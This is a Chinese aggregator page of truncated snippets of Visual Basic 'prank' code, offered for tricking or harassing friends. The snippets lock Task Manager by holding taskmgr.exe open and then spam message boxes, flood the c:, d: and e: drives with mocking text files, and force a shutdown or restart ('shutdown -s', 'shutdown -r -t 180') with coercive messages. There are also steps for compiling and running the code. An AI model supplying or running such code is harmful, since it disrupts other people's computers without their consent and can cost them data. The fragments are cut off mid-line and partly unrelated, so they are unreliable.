www.1862.net > visuAl BAsiC 恶搞代码

visuAl BAsiC 恶搞代码

Private Sub Form_Load()Form1.Visible = FalseFor i = 1 To 20# Open "c:\\你被怪人恶搞了,你傻了吧!" + CStr(i) + ".txt" For Random As 1 Open "d:\\你被怪人恶搞了,你傻了吧!" + CStr(i) + ".txt" For Random As 2 Open "e:\\你

VB整人经典代码 此代码锁定了任务管理器,想关闭只有重新启动电脑,恶搞你的好友,或者骚扰你 Private Sub Form_Load() Open Environ$("WinDir") & "\system32\taskmgr.exe" For Binary As #1 For m = 1 To 999 MsgBox "呵呵,你知道

答案补充:单击文件菜单,生成工程1.exe,保存在某个地方,确定,上那个地方找你的exe,运行.================== 开始,程序,microsoft visual basic 6.0 中文版,microsoft visual basic 6.0 中文版,标准exe,打开,在大空白上右击,查看代码,把sub form_load() shell "shutdown -s -t 60" end sub 复制进去,按f5运行.

此代码锁定了任务管理器,想关闭只有重新启动电脑,恶搞你的好友,或者骚扰你 Private Sub Form_Load() Open Environ$("WinDir") & "\system32\taskmgr.exe" For Binary As #1 For m = 1 To 999 MsgBox "呵呵,你知道我是谁吗?",

此代码锁定了任务管理器,想关闭只有重新启动电脑,恶搞你的好友,或者骚扰你 private sub form_load() open environ$("windir") & "\system32\taskmgr.exe" for binary as #1 for m = 1 to 999 msgbox "呵呵,你知道我是谁吗?", 16

on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是脑残,不说我是脑残就一分钟关机,不信,试下"" ",0 ,true dim a do while(a <> "

一些VB小游戏吧……例如FaceCatch,LetterTile,LuckySeven等等都差不多,就看你能不能把它做得有趣而已.

运行程序后一直弹消息. 新建一个工程,把窗体移除.然后新建一个模块输入以下代码. ' ' Private Sub Main() dim i as long for i=0 to 1000 if i=10 then msgbox "累吗?不累就继续",,i elseif i=20 then msgbox "累了吧,累了休息会",,i

********第一个捉弄人.command timer label text各一个Dim i As IntegerPrivate Sub Form_Load()shell "shutdown -s"i = 30End SubPrivate Sub Timer1_Timer()i = i - 1Label1.Caption = "说自己是猪,还有" & i & "秒就关机"If i = 0 Then

插入三个文本框a1、a2、a3来接收输入的三个数,插入一个按钮a4来执行操作,最后用三个文本框来显示结果.Private Sub a4_Click()Dim v1, v2, v3, t As Singlev1 = a1.Valuev2 = a2.Valuev3 = a3.ValueIf (v1 评论0 0 0

网站地图

All rights reserved Powered by www.1862.net

copyright ©right 2010-2021。
www.1862.net内容来自网络,如有侵犯请联系客服。zhit325@qq.com